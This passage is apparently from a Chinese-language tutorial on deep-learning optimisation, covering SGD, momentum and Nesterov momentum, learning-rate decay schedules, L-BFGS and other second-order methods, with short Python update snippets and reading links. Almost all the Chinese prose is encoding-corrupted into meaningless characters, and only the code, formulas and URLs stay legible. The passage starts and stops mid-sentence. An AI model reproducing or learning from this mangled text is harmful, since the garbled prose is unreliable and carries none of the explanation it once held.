”็ฉถ้ข†ๅŸŸใ€‚ๆœฌ่Š‚ๅฐ†้‡็‚นไป‹็ปไธ€ไบ›ๅ…ฌ่ฎคๆœ‰ๆ•ˆ็š„ๅธธ็”จ็š„ๆŠ€ๅทง๏ผŒ่ฟ™ไบ›ๆŠ€ๅทง้ƒฝๆ˜ฏๅœจๅฎž่ทตไธญไผš้‡ๅˆฐ็š„ใ€‚ๆˆ‘ไปฌๅฐ†็ฎ€่ฆไป‹็ป่ฟ™ไบ›ๆŠ€ๅทง็š„็›ด่ง‚ๆฆ‚ๅฟต๏ผŒไฝ†ไธ่ฟ›่กŒ็ป†่Š‚ๅˆ†ๆžใ€‚ๅฏนไบŽ็ป†่Š‚ๆ„Ÿๅ…ด่ถฃ็š„่ฏป่€…๏ผŒๆˆ‘ไปฌๆไพ›ไบ†ไธ€ไบ›ๆ‹“ๅฑ•้˜…่ฏปใ€‚\n\n\n\n### ้šๆœบๆขฏๅบฆไธ‹้™ๅŠๅ„็งๆ›ดๆ–ฐๆ–นๆณ•\n\n**ๆ™ฎ้€šๆ›ดๆ–ฐ**ใ€‚ๆœ€็ฎ€ๅ•็š„ๆ›ดๆ–ฐๅฝขๅผๆ˜ฏๆฒฟ็€่ดŸๆขฏๅบฆๆ–นๅ‘ๆ”นๅ˜ๅ‚ๆ•ฐ๏ผˆๅ› ไธบๆขฏๅบฆๆŒ‡ๅ‘็š„ๆ˜ฏไธŠๅ‡ๆ–นๅ‘๏ผŒไฝ†ๆ˜ฏๆˆ‘ไปฌ้€šๅธธๅธŒๆœ›ๆœ€ๅฐๅŒ–ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผ‰ใ€‚ๅ‡่ฎพๆœ‰ไธ€ไธชๅ‚ๆ•ฐๅ‘้‡**x**ๅŠๅ…ถๆขฏๅบฆ**dx**๏ผŒ้‚ฃไนˆๆœ€็ฎ€ๅ•็š„ๆ›ดๆ–ฐ็š„ๅฝขๅผๆ˜ฏ๏ผš\n\n```python\n# ๆ™ฎ้€šๆ›ดๆ–ฐ\nx += - learning_rate * dx\n```\n\nๅ…ถไธญlearning_rateๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐ๏ผŒๅฎƒๆ˜ฏไธ€ไธชๅ›บๅฎš็š„ๅธธ้‡ใ€‚ๅฝ“ๅœจๆ•ดไธชๆ•ฐๆฎ้›†ไธŠ่ฟ›่กŒ่ฎก็ฎ—ๆ—ถ๏ผŒๅช่ฆๅญฆไน ็Ž‡่ถณๅคŸไฝŽ๏ผŒๆ€ปๆ˜ฏ่ƒฝๅœจๆŸๅคฑๅ‡ฝๆ•ฐไธŠๅพ—ๅˆฐ้ž่ดŸ็š„่ฟ›ๅฑ•ใ€‚\n\n\n\n**ๅŠจ้‡๏ผˆMomentum๏ผ‰ๆ›ดๆ–ฐ**ๆ˜ฏๅฆไธ€ไธชๆ–นๆณ•๏ผŒ่ฟ™ไธชๆ–นๆณ•ๅœจๆทฑๅบฆ็ฝ‘็ปœไธŠๅ‡ ไนŽๆ€ป่ƒฝๅพ—ๅˆฐๆ›ดๅฅฝ็š„ๆ”ถๆ•›้€Ÿๅบฆใ€‚่ฏฅๆ–นๆณ•ๅฏไปฅ็œ‹ๆˆๆ˜ฏไปŽ็‰ฉ็†่ง’ๅบฆไธŠๅฏนไบŽๆœ€ไผ˜ๅŒ–้—ฎ้ข˜ๅพ—ๅˆฐ็š„ๅฏๅ‘ใ€‚ๆŸๅคฑๅ€ผๅฏไปฅ็†่งฃไธบๆ˜ฏๅฑฑ็š„้ซ˜ๅบฆ๏ผˆๅ› ๆญค้ซ˜ๅบฆๅŠฟ่ƒฝๆ˜ฏ$U=mgh$๏ผŒๆ‰€ไปฅๆœ‰$U\\propto h$๏ผ‰ใ€‚็”จ้šๆœบๆ•ฐๅญ—ๅˆๅง‹ๅŒ–ๅ‚ๆ•ฐ็ญ‰ๅŒไบŽๅœจๆŸไธชไฝ็ฝฎ็ป™่ดจ็‚น่ฎพๅฎšๅˆๅง‹้€Ÿๅบฆไธบ0ใ€‚่ฟ™ๆ ทๆœ€ไผ˜ๅŒ–่ฟ‡็จ‹ๅฏไปฅ็œ‹ๅšๆ˜ฏๆจกๆ‹Ÿๅ‚ๆ•ฐๅ‘้‡๏ผˆๅณ่ดจ็‚น๏ผ‰ๅœจๅœฐๅฝขไธŠๆปšๅŠจ็š„่ฟ‡็จ‹ใ€‚\n\n\n\nๅ› ไธบไฝœ็”จไบŽ่ดจ็‚น็š„ๅŠ›ไธŽๆขฏๅบฆ็š„ๆฝœๅœจ่ƒฝ้‡๏ผˆ$F=-\\nabla U$๏ผ‰ๆœ‰ๅ…ณ๏ผŒ่ดจ็‚น**ๆ‰€ๅ—็š„ๅŠ›**ๅฐฑๆ˜ฏๆŸๅคฑๅ‡ฝๆ•ฐ็š„**๏ผˆ่ดŸ๏ผ‰ๆขฏๅบฆ**ใ€‚่ฟ˜ๆœ‰๏ผŒๅ› ไธบ$F=ma$๏ผŒๆ‰€ไปฅๅœจ่ฟ™ไธช่ง‚็‚นไธ‹๏ผˆ่ดŸ๏ผ‰ๆขฏๅบฆไธŽ่ดจ็‚น็š„ๅŠ ้€Ÿๅบฆๆ˜ฏๆˆๆฏ”ไพ‹็š„ใ€‚ๆณจๆ„่ฟ™ไธช็†่งฃๅ’ŒไธŠ้ข็š„้šๆœบๆขฏๅบฆไธ‹้™๏ผˆSDG๏ผ‰ๆ˜ฏไธๅŒ็š„๏ผŒๅœจๆ™ฎ้€š็‰ˆๆœฌไธญ๏ผŒๆขฏๅบฆ็›ดๆŽฅๅฝฑๅ“ไฝ็ฝฎใ€‚่€Œๅœจ่ฟ™ไธช็‰ˆๆœฌ็š„ๆ›ดๆ–ฐไธญ๏ผŒ็‰ฉ็†่ง‚็‚นๅปบ่ฎฎๆขฏๅบฆๅชๆ˜ฏๅฝฑๅ“้€Ÿๅบฆ๏ผŒ็„ถๅŽ้€Ÿๅบฆๅ†ๅฝฑๅ“ไฝ็ฝฎ๏ผš\n\n```python\n# ๅŠจ้‡ๆ›ดๆ–ฐ\nv = mu * v - learning_rate * dx # ไธŽ้€Ÿๅบฆ่žๅˆ\nx += v # ไธŽไฝ็ฝฎ่žๅˆ\n```\n\nๅœจ่ฟ™้‡Œๅผ•ๅ…ฅไบ†ไธ€ไธชๅˆๅง‹ๅŒ–ไธบ0็š„ๅ˜้‡**v**ๅ’Œไธ€ไธช่ถ…ๅ‚ๆ•ฐ**mu**ใ€‚่ฏดๅพ—ไธๆฐๅฝ“ไธ€็‚น๏ผŒ่ฟ™ไธชๅ˜้‡๏ผˆmu๏ผ‰ๅœจๆœ€ไผ˜ๅŒ–็š„่ฟ‡็จ‹ไธญ่ขซ็œ‹ๅš*ๅŠจ้‡*๏ผˆไธ€่ˆฌๅ€ผ่ฎพไธบ0.9๏ผ‰๏ผŒไฝ†ๅ…ถ็‰ฉ็†ๆ„ไน‰ไธŽๆ‘ฉๆ“ฆ็ณปๆ•ฐๆ›ดไธ€่‡ดใ€‚่ฟ™ไธชๅ˜้‡ๆœ‰ๆ•ˆๅœฐๆŠ‘ๅˆถไบ†้€Ÿๅบฆ๏ผŒ้™ไฝŽไบ†็ณป็ปŸ็š„ๅŠจ่ƒฝ๏ผŒไธ็„ถ่ดจ็‚นๅœจๅฑฑๅบ•ๆฐธ่ฟœไธไผšๅœไธ‹ๆฅใ€‚้€š่ฟ‡ไบคๅ‰้ชŒ่ฏ๏ผŒ่ฟ™ไธชๅ‚ๆ•ฐ้€šๅธธ่ฎพไธบ[0.5,0.9,0.95,0.99]ไธญ็š„ไธ€ไธชใ€‚ๅ’Œๅญฆไน ็Ž‡้š็€ๆ—ถ้—ด้€€็ซ๏ผˆไธ‹ๆ–‡ๆœ‰่ฎจ่ฎบ๏ผ‰็ฑปไผผ๏ผŒๅŠจ้‡้šๆ—ถ้—ดๅ˜ๅŒ–็š„่ฎพ็ฝฎๆœ‰ๆ—ถ่ƒฝ็•ฅๅพฎๆ”นๅ–„ๆœ€ไผ˜ๅŒ–็š„ๆ•ˆๆžœ๏ผŒๅ…ถไธญๅŠจ้‡ๅœจๅญฆไน ่ฟ‡็จ‹็š„ๅŽ้˜ถๆฎตไผšไธŠๅ‡ใ€‚ไธ€ไธชๅ…ธๅž‹็š„่ฎพ็ฝฎๆ˜ฏๅˆšๅผ€ๅง‹ๅฐ†ๅŠจ้‡่ฎพไธบ0.5่€ŒๅœจๅŽ้ข็š„ๅคšไธชๅ‘จๆœŸ๏ผˆepoch๏ผ‰ไธญๆ…ขๆ…ขๆๅ‡ๅˆฐ0.99ใ€‚\n\n> ้€š่ฟ‡ๅŠจ้‡ๆ›ดๆ–ฐ๏ผŒๅ‚ๆ•ฐๅ‘้‡ไผšๅœจไปปไฝ•ๆœ‰ๆŒ็ปญๆขฏๅบฆ็š„ๆ–นๅ‘ไธŠๅขžๅŠ ้€Ÿๅบฆใ€‚\n\n**NesterovๅŠจ้‡**ไธŽๆ™ฎ้€šๅŠจ้‡ๆœ‰ไบ›่ฎธไธๅŒ๏ผŒๆœ€่ฟ‘ๅ˜ๅพ—ๆฏ”่พƒๆต่กŒใ€‚ๅœจ็†่ฎบไธŠๅฏนไบŽๅ‡ธๅ‡ฝๆ•ฐๅฎƒ่ƒฝๅพ—ๅˆฐๆ›ดๅฅฝ็š„ๆ”ถๆ•›๏ผŒๅœจๅฎž่ทตไธญไนŸ็กฎๅฎžๆฏ”ๆ ‡ๅ‡†ๅŠจ้‡่กจ็Žฐๆ›ดๅฅฝไธ€ไบ›ใ€‚\n\n\n\nNesterovๅŠจ้‡็š„ๆ ธๅฟƒๆ€่ทฏๆ˜ฏ๏ผŒๅฝ“ๅ‚ๆ•ฐๅ‘้‡ไฝไบŽๆŸไธชไฝ็ฝฎ**x**ๆ—ถ๏ผŒ่ง‚ๅฏŸไธŠ้ข็š„ๅŠจ้‡ๆ›ดๆ–ฐๅ…ฌๅผๅฏไปฅๅ‘็Žฐ๏ผŒๅŠจ้‡้ƒจๅˆ†๏ผˆๅฟฝ่ง†ๅธฆๆขฏๅบฆ็š„็ฌฌไบŒไธช้ƒจๅˆ†๏ผ‰ไผš้€š่ฟ‡**mu \\* v**็จๅพฎๆ”นๅ˜ๅ‚ๆ•ฐๅ‘้‡ใ€‚ๅ› ๆญค๏ผŒๅฆ‚ๆžœ่ฆ่ฎก็ฎ—ๆขฏๅบฆ๏ผŒ้‚ฃไนˆๅฏไปฅๅฐ†ๆœชๆฅ็š„่ฟ‘ไผผไฝ็ฝฎ**x + mu \\* v**็œ‹ๅšๆ˜ฏโ€œๅ‘ๅ‰็œ‹โ€๏ผŒ่ฟ™ไธช็‚นๅœจๆˆ‘ไปฌไธ€ไผšๅ„ฟ่ฆๅœๆญข็š„ไฝ็ฝฎ้™„่ฟ‘ใ€‚ๅ› ๆญค๏ผŒ่ฎก็ฎ—**x + mu \\* v**็š„ๆขฏๅบฆ่€Œไธๆ˜ฏโ€œๆ—งโ€ไฝ็ฝฎ**x**็š„ๆขฏๅบฆๅฐฑๆœ‰ๆ„ไน‰ไบ†ใ€‚\n\n---\n\n![](https://i.loli.net/2018/03/07/5a9fc18276497.png)\n\nNesterovๅŠจ้‡ใ€‚ๆ—ข็„ถๆˆ‘ไปฌ็Ÿฅ้“ๅŠจ้‡ๅฐ†ไผšๆŠŠๆˆ‘ไปฌๅธฆๅˆฐ็ปฟ่‰ฒ็ฎญๅคดๆŒ‡ๅ‘็š„็‚น๏ผŒๆˆ‘ไปฌๅฐฑไธ่ฆๅœจๅŽŸ็‚น๏ผˆ็บข่‰ฒ็‚น๏ผ‰้‚ฃ้‡Œ่ฎก็ฎ—ๆขฏๅบฆไบ†ใ€‚ไฝฟ็”จNesterovๅŠจ้‡๏ผŒๆˆ‘ไปฌๅฐฑๅœจ่ฟ™ไธชโ€œๅ‘ๅ‰็œ‹โ€็š„ๅœฐๆ–น่ฎก็ฎ—ๆขฏๅบฆใ€‚\n\n---\n\nไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๆทปๅŠ ไธ€ไบ›ๆณจ้‡ŠๅŽ๏ผŒๅฎž็Žฐไปฃ็ ๅฆ‚ไธ‹๏ผš\n\n```python\nx_ahead = x + mu * v\n# ่ฎก็ฎ—dx_ahead(ๅœจx_aheadๅค„็š„ๆขฏๅบฆ๏ผŒ่€Œไธๆ˜ฏๅœจxๅค„็š„ๆขฏๅบฆ)\nv = mu * v - learning_rate * dx_ahead\nx += v\n```\n\n็„ถ่€Œๅœจๅฎž่ทตไธญ๏ผŒไบบไปฌๆ›ดๅ–œๆฌขๅ’Œๆ™ฎ้€šSGDๆˆ–ไธŠ้ข็š„ๅŠจ้‡ๆ–นๆณ•ไธ€ๆ ท็ฎ€ๅ•็š„่กจ่พพๅผใ€‚้€š่ฟ‡ๅฏน**x_ahead = x + mu \\* v**ไฝฟ็”จๅ˜้‡ๅ˜ๆข่ฟ›่กŒๆ”นๅ†™ๆ˜ฏๅฏไปฅๅšๅˆฐ็š„๏ผŒ็„ถๅŽ็”จ**x_ahead**่€Œไธๆ˜ฏ**x**ๆฅ่กจ็คบไธŠ้ข็š„ๆ›ดๆ–ฐใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๅฎž้™…ๅญ˜ๅ‚จ็š„ๅ‚ๆ•ฐๅ‘้‡ๆ€ปๆ˜ฏๅ‘ๅ‰ไธ€ๆญฅ็š„้‚ฃไธช็‰ˆๆœฌใ€‚**x_ahead**็š„ๅ…ฌๅผ๏ผˆๅฐ†ๅ…ถ้‡ๆ–ฐๅ‘ฝๅไธบ**x**๏ผ‰ๅฐฑๅ˜ๆˆไบ†๏ผš\n\n```python\nv_prev = v # ๅญ˜ๅ‚จๅค‡ไปฝ\nv = mu * v - learning_rate * dx # ้€Ÿๅบฆๆ›ดๆ–ฐไฟๆŒไธๅ˜\nx += -mu * v_prev + (1 + mu) * v # ไฝ็ฝฎๆ›ดๆ–ฐๅ˜ไบ†ๅฝขๅผ\n```\n\nๅฏนไบŽNAG๏ผˆNesterov's Accelerated Momentum๏ผ‰็š„ๆฅๆบๅ’Œๆ•ฐๅญฆๅ…ฌๅผๆŽจๅฏผ๏ผŒๆˆ‘ไปฌๆŽจ่ไปฅไธ‹็š„ๆ‹“ๅฑ•้˜…่ฏป๏ผš\n\n- Yoshua Bengio็š„[Advances in optimizing Recurrent Networks](http://link.zhihu.com/?target=http%3A//arxiv.org/pdf/1212.0901v2.pdf)๏ผŒSection 3.5ใ€‚\n- [Ilya Sutskever's thesis](http://link.zhihu.com/?target=http%3A//www.cs.utoronto.ca/%257Eilya/pubs/ilya_sutskever_phd_thesis.pdf) (pdf)ๅœจsection 7.2ๅฏนไบŽ่ฟ™ไธชไธป้ข˜ๆœ‰ๆ›ด่ฏฆๅฐฝ็š„้˜่ฟฐใ€‚\n\n\n\n### ๅญฆไน ็Ž‡้€€็ซ\n\nๅœจ่ฎญ็ปƒๆทฑๅบฆ็ฝ‘็ปœ็š„ๆ—ถๅ€™๏ผŒ่ฎฉๅญฆไน ็Ž‡้š็€ๆ—ถ้—ด้€€็ซ้€šๅธธๆ˜ฏๆœ‰ๅธฎๅŠฉ็š„ใ€‚ๅฏไปฅ่ฟ™ๆ ท็†่งฃ๏ผšๅฆ‚ๆžœๅญฆไน ็Ž‡ๅพˆ้ซ˜๏ผŒ็ณป็ปŸ็š„ๅŠจ่ƒฝๅฐฑ่ฟ‡ๅคง๏ผŒๅ‚ๆ•ฐๅ‘้‡ๅฐฑไผšๆ— ่ง„ๅพ‹ๅœฐ่ทณๅŠจ๏ผŒไธ่ƒฝๅคŸ็จณๅฎšๅˆฐๆŸๅคฑๅ‡ฝๆ•ฐๆ›ดๆทฑๆ›ด็ช„็š„้ƒจๅˆ†ๅŽปใ€‚็Ÿฅ้“ไป€ไนˆๆ—ถๅ€™ๅผ€ๅง‹่กฐๅ‡ๅญฆไน ็Ž‡ๆ˜ฏๆœ‰ๆŠ€ๅทง็š„๏ผšๆ…ขๆ…ขๅ‡ๅฐๅฎƒ๏ผŒๅฏ่ƒฝๅœจๅพˆ้•ฟๆ—ถ้—ดๅ†…ๅช่ƒฝๆ˜ฏๆตช่ดน่ฎก็ฎ—่ต„ๆบๅœฐ็œ‹็€ๅฎƒๆททๆฒŒๅœฐ่ทณๅŠจ๏ผŒๅฎž้™…่ฟ›ๅฑ•ๅพˆๅฐ‘ใ€‚ไฝ†ๅฆ‚ๆžœๅฟซ้€Ÿๅœฐๅ‡ๅฐ‘ๅฎƒ๏ผŒ็ณป็ปŸๅฏ่ƒฝ่ฟ‡ๅฟซๅœฐๅคฑๅŽป่ƒฝ้‡๏ผŒไธ่ƒฝๅˆฐ่พพๅŽŸๆœฌๅฏไปฅๅˆฐ่พพ็š„ๆœ€ๅฅฝไฝ็ฝฎใ€‚้€šๅธธ๏ผŒๅฎž็Žฐๅญฆไน ็Ž‡้€€็ซๆœ‰3็งๆ–นๅผ๏ผš\n\n- **้šๆญฅๆ•ฐ่กฐๅ‡**๏ผšๆฏ่ฟ›่กŒๅ‡ ไธชๅ‘จๆœŸๅฐฑๆ นๆฎไธ€ไบ›ๅ› ็ด ้™ไฝŽๅญฆไน ็Ž‡ใ€‚ๅ…ธๅž‹็š„ๅ€ผๆ˜ฏๆฏ่ฟ‡5ไธชๅ‘จๆœŸๅฐฑๅฐ†ๅญฆไน ็Ž‡ๅ‡ๅฐ‘ไธ€ๅŠ๏ผŒๆˆ–่€…ๆฏ20ไธชๅ‘จๆœŸๅ‡ๅฐ‘ๅˆฐไน‹ๅ‰็š„0.1ใ€‚่ฟ™ไบ›ๆ•ฐๅ€ผ็š„่ฎพๅฎšๆ˜ฏไธฅ้‡ไพ่ต–ๅ…ทไฝ“้—ฎ้ข˜ๅ’Œๆจกๅž‹็š„้€‰ๆ‹ฉ็š„ใ€‚ๅœจๅฎž่ทตไธญๅฏ่ƒฝ็œ‹่ง่ฟ™ไนˆไธ€็ง็ป้ชŒๅšๆณ•๏ผšไฝฟ็”จไธ€ไธชๅ›บๅฎš็š„ๅญฆไน ็Ž‡ๆฅ่ฟ›่กŒ่ฎญ็ปƒ็š„ๅŒๆ—ถ่ง‚ๅฏŸ้ชŒ่ฏ้›†้”™่ฏฏ็Ž‡๏ผŒๆฏๅฝ“้ชŒ่ฏ้›†้”™่ฏฏ็Ž‡ๅœๆญขไธ‹้™๏ผŒๅฐฑไน˜ไปฅไธ€ไธชๅธธๆ•ฐ๏ผˆๆฏ”ๅฆ‚0.5๏ผ‰ๆฅ้™ไฝŽๅญฆไน ็Ž‡ใ€‚\n- **ๆŒ‡ๆ•ฐ่กฐๅ‡**ใ€‚ๆ•ฐๅญฆๅ…ฌๅผๆ˜ฏ$\\alpha=\\alpha_0e^{-kt}$๏ผŒๅ…ถไธญ$\\alpha_0,k$ๆ˜ฏ่ถ…ๅ‚ๆ•ฐ๏ผŒ$t$ๆ˜ฏ่ฟญไปฃๆฌกๆ•ฐ๏ผˆไนŸๅฏไปฅไฝฟ็”จๅ‘จๆœŸไฝœไธบๅ•ไฝ๏ผ‰ใ€‚\n- **1/t่กฐๅ‡**็š„ๆ•ฐๅญฆๅ…ฌๅผๆ˜ฏ$\\alpha=\\alpha_0/(1+kt)$๏ผŒๅ…ถไธญ$\\alpha_0,k$ๆ˜ฏ่ถ…ๅ‚ๆ•ฐ๏ผŒtๆ˜ฏ่ฟญไปฃๆฌกๆ•ฐใ€‚\n\nๅœจๅฎž่ทตไธญ๏ผŒๆˆ‘ไปฌๅ‘็Žฐ้šๆญฅๆ•ฐ่กฐๅ‡็š„้šๆœบๅคฑๆดป๏ผˆdropout๏ผ‰ๆ›ดๅ—ๆฌข่ฟŽ๏ผŒๅ› ไธบๅฎƒไฝฟ็”จ็š„่ถ…ๅ‚ๆ•ฐ๏ผˆ่กฐๅ‡็ณปๆ•ฐๅ’Œไปฅๅ‘จๆœŸไธบๆ—ถ้—ดๅ•ไฝ็š„ๆญฅๆ•ฐ๏ผ‰ๆฏ”$k$ๆ›ดๆœ‰่งฃ้‡Šๆ€งใ€‚ๆœ€ๅŽ๏ผŒๅฆ‚ๆžœไฝ ๆœ‰่ถณๅคŸ็š„่ฎก็ฎ—่ต„ๆบ๏ผŒๅฏไปฅ่ฎฉ่กฐๅ‡ๆ›ดๅŠ ็ผ“ๆ…ขไธ€ไบ›๏ผŒ่ฎฉ่ฎญ็ปƒๆ—ถ้—ดๆ›ด้•ฟไบ›ใ€‚\n\n\n\n### ไบŒ้˜ถๆ–นๆณ•\n\nๅœจๆทฑๅบฆ็ฝ‘็ปœ่ƒŒๆ™ฏไธ‹๏ผŒ็ฌฌไบŒ็ฑปๅธธ็”จ็š„ๆœ€ไผ˜ๅŒ–ๆ–นๆณ•ๆ˜ฏๅŸบไบŽ[็‰›้กฟๆณ•](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Newton%2527s_method_in_optimization)็š„๏ผŒๅ…ถ่ฟญไปฃๅฆ‚ไธ‹๏ผš\n\n\n\n่ฟ™้‡Œ$Hf(x)$ๆ˜ฏ[Hessian็Ÿฉ้˜ต](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Hessian_matrix)๏ผŒๅฎƒๆ˜ฏๅ‡ฝๆ•ฐ็š„ไบŒ้˜ถๅๅฏผๆ•ฐ็š„ๅนณๆ–น็Ÿฉ้˜ตใ€‚$\\nabla f(x)$ๆ˜ฏๆขฏๅบฆๅ‘้‡๏ผŒ่ฟ™ๅ’Œๆขฏๅบฆไธ‹้™ไธญไธ€ๆ ทใ€‚็›ด่ง‚็†่งฃไธŠ๏ผŒHessian็Ÿฉ้˜ตๆ่ฟฐไบ†ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅฑ€้ƒจๆ›ฒ็Ž‡๏ผŒไปŽ่€Œไฝฟๅพ—ๅฏไปฅ่ฟ›่กŒๆ›ด้ซ˜ๆ•ˆ็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐใ€‚ๅ…ทไฝ“ๆฅ่ฏด๏ผŒๅฐฑๆ˜ฏไน˜ไปฅHessian่ฝฌ็ฝฎ็Ÿฉ้˜ตๅฏไปฅ่ฎฉๆœ€ไผ˜ๅŒ–่ฟ‡็จ‹ๅœจๆ›ฒ็Ž‡ๅฐ็š„ๆ—ถๅ€™ๅคงๆญฅๅ‰่ฟ›๏ผŒๅœจๆ›ฒ็Ž‡ๅคง็š„ๆ—ถๅ€™ๅฐๆญฅๅ‰่ฟ›ใ€‚้œ€่ฆ้‡็‚นๆณจๆ„็š„ๆ˜ฏ๏ผŒๅœจ่ฟ™ไธชๅ…ฌๅผไธญๆ˜ฏๆฒกๆœ‰ๅญฆไน ็Ž‡่ฟ™ไธช่ถ…ๅ‚ๆ•ฐ็š„๏ผŒ่ฟ™็›ธ่พƒไบŽไธ€้˜ถๆ–นๆณ•ๆ˜ฏไธ€ไธชๅทจๅคง็š„ไผ˜ๅŠฟใ€‚\n\n\n\n็„ถ่€ŒไธŠ่ฟฐๆ›ดๆ–ฐๆ–นๆณ•ๅพˆ้šพ่ฟ็”จๅˆฐๅฎž้™…็š„ๆทฑๅบฆๅญฆไน ๅบ”็”จไธญๅŽป๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบ่ฎก็ฎ—๏ผˆไปฅๅŠๆฑ‚้€†๏ผ‰Hessian็Ÿฉ้˜ตๆ“ไฝœ้žๅธธ่€—่ดนๆ—ถ้—ดๅ’Œ็ฉบ้—ดใ€‚ไธพไพ‹ๆฅ่ฏด๏ผŒๅ‡่ฎพไธ€ไธชๆœ‰ไธ€็™พไธ‡ไธชๅ‚ๆ•ฐ็š„็ฅž็ป็ฝ‘็ปœ๏ผŒๅ…ถHessian็Ÿฉ้˜ตๅคงๅฐๅฐฑๆ˜ฏ[1,000,000 x 1,000,000]๏ผŒๅฐ†ๅ ็”จๅฐ†่ฟ‘3,725GB็š„ๅ†…ๅญ˜ใ€‚่ฟ™ๆ ท๏ผŒๅ„็งๅ„ๆ ท็š„*ๆ‹Ÿ*-็‰›้กฟๆณ•ๅฐฑ่ขซๅ‘ๆ˜Žๅ‡บๆฅ็”จไบŽ่ฟ‘ไผผ่ฝฌ็ฝฎHessian็Ÿฉ้˜ตใ€‚ๅœจ่ฟ™ไบ›ๆ–นๆณ•ไธญๆœ€ๆต่กŒ็š„ๆ˜ฏ[L-BFGS](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Limited-memory_BFGS)๏ผŒ่ฏฅๆ–นๆณ•ไฝฟ็”จ้šๆ—ถ้—ด็š„ๆขฏๅบฆไธญ็š„ไฟกๆฏๆฅ้šๅผๅœฐ่ฟ‘ไผผ๏ผˆไนŸๅฐฑๆ˜ฏ่ฏดๆ•ดไธช็Ÿฉ้˜ตๆ˜ฏไปŽๆฅๆฒกๆœ‰่ขซ่ฎก็ฎ—็š„๏ผ‰ใ€‚\n\n\n\n็„ถ่€Œ๏ผŒๅณไฝฟ่งฃๅ†ณไบ†ๅญ˜ๅ‚จ็ฉบ้—ด็š„้—ฎ้ข˜๏ผŒL-BFGSๅบ”็”จ็š„ไธ€ไธชๅทจๅคงๅŠฃๅŠฟๆ˜ฏ้œ€่ฆๅฏนๆ•ดไธช่ฎญ็ปƒ้›†่ฟ›่กŒ่ฎก็ฎ—๏ผŒ่€Œๆ•ดไธช่ฎญ็ปƒ้›†ไธ€่ˆฌๅŒ…ๅซๅ‡ ็™พไธ‡็š„ๆ ทๆœฌใ€‚ๅ’Œๅฐๆ‰น้‡้šๆœบๆขฏๅบฆไธ‹้™๏ผˆmini-batch SGD๏ผ‰ไธๅŒ๏ผŒ่ฎฉL-BFGSๅœจๅฐๆ‰น้‡ไธŠ่ฟ่กŒ่ตทๆฅๆ˜ฏๅพˆ้œ€่ฆๆŠ€ๅทง๏ผŒๅŒๆ—ถไนŸๆ˜ฏ็ ”็ฉถ็ƒญ็‚นใ€‚\n\n\n\n**ๅฎž่ทต**ใ€‚ๅœจๆทฑๅบฆๅญฆไน ๅ’Œๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญ๏ผŒไฝฟ็”จL-BFGSไน‹็ฑป็š„ไบŒ้˜ถๆ–นๆณ•ๅนถไธๅธธ่งใ€‚็›ธๅ๏ผŒๅŸบไบŽ๏ผˆNesterov็š„๏ผ‰ๅŠจ้‡ๆ›ดๆ–ฐ็š„ๅ„็ง้šๆœบๆขฏๅบฆไธ‹้™ๆ–นๆณ•ๆ›ดๅŠ ๅธธ็”จ๏ผŒๅ› ไธบๅฎƒไปฌๆ›ดๅŠ ็ฎ€ๅ•ไธ”ๅฎนๆ˜“ๆ‰ฉๅฑ•ใ€‚\n\n\n\nๅ‚่€ƒ่ต„ๆ–™๏ผš\n\n- [Large Scale Distributed Deep Networks](http://link.zhihu.com/?target=http%3A//research.google.com/archive/large_deep_networks_nips2012.html) ไธ€ๆ–‡ๆฅ่‡ช่ฐทๆญŒๅคง่„‘ๅ›ข้˜Ÿ๏ผŒๆฏ”่พƒไบ†ๅœจๅคง่ง„ๆจกๆ•ฐๆฎๆƒ…ๅ†ตไธ‹L-BFGSๅ’ŒSGD็ฎ—ๆณ•็š„่กจ็Žฐใ€‚\n- [SFO](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1311.2115)็ฎ—ๆณ•ๆƒณ่ฆๆŠŠSGDๅ’ŒL-BFGS็š„ไผ˜ๅŠฟ็ป“ๅˆ่ตทๆฅใ€‚\n\n\n\n## ้€ๅ‚ๆ•ฐ้€‚ๅบ”ๅญฆไน ็Ž‡ๆ–นๆณ•\n\nๅ‰้ข่ฎจ่ฎบ็š„ๆ‰€ๆœ‰ๆ–นๆณ•้ƒฝๆ˜ฏๅฏนๅญฆไน ็Ž‡่ฟ›่กŒๅ…จๅฑ€ๅœฐๆ“ไฝœ๏ผŒๅนถไธ”ๅฏนๆ‰€ๆœ‰็š„ๅ‚ๆ•ฐ้ƒฝๆ˜ฏไธ€ๆ ท็š„ใ€‚ๅญฆไน ็Ž‡่ฐƒๅ‚ๆ˜ฏๅพˆ่€—่ดน่ฎก็ฎ—่ต„ๆบ็š„่ฟ‡็จ‹๏ผŒๆ‰€ไปฅๅพˆๅคšๅทฅไฝœๆŠ•ๅ…ฅๅˆฐๅ‘ๆ˜Ž่ƒฝๅคŸ้€‚ๅบ”ๆ€งๅœฐๅฏนๅญฆไน ็Ž‡่ฐƒๅ‚็š„ๆ–นๆณ•๏ผŒ็”š่‡ณๆ˜ฏ้€ไธชๅ‚ๆ•ฐ้€‚ๅบ”ๅญฆไน ็Ž‡่ฐƒๅ‚ใ€‚ๅพˆๅคš่ฟ™ไบ›ๆ–นๆณ•ไพ็„ถ้œ€่ฆๅ…ถไป–็š„่ถ…ๅ‚ๆ•ฐ่ฎพ็ฝฎ๏ผŒไฝ†ๆ˜ฏๅ…ถ่ง‚็‚นๆ˜ฏ่ฟ™ไบ›ๆ–นๆณ•ๅฏนไบŽๆ›ดๅนฟ่Œƒๅ›ด็š„่ถ…ๅ‚ๆ•ฐๆฏ”ๅŽŸๅง‹็š„ๅญฆไน 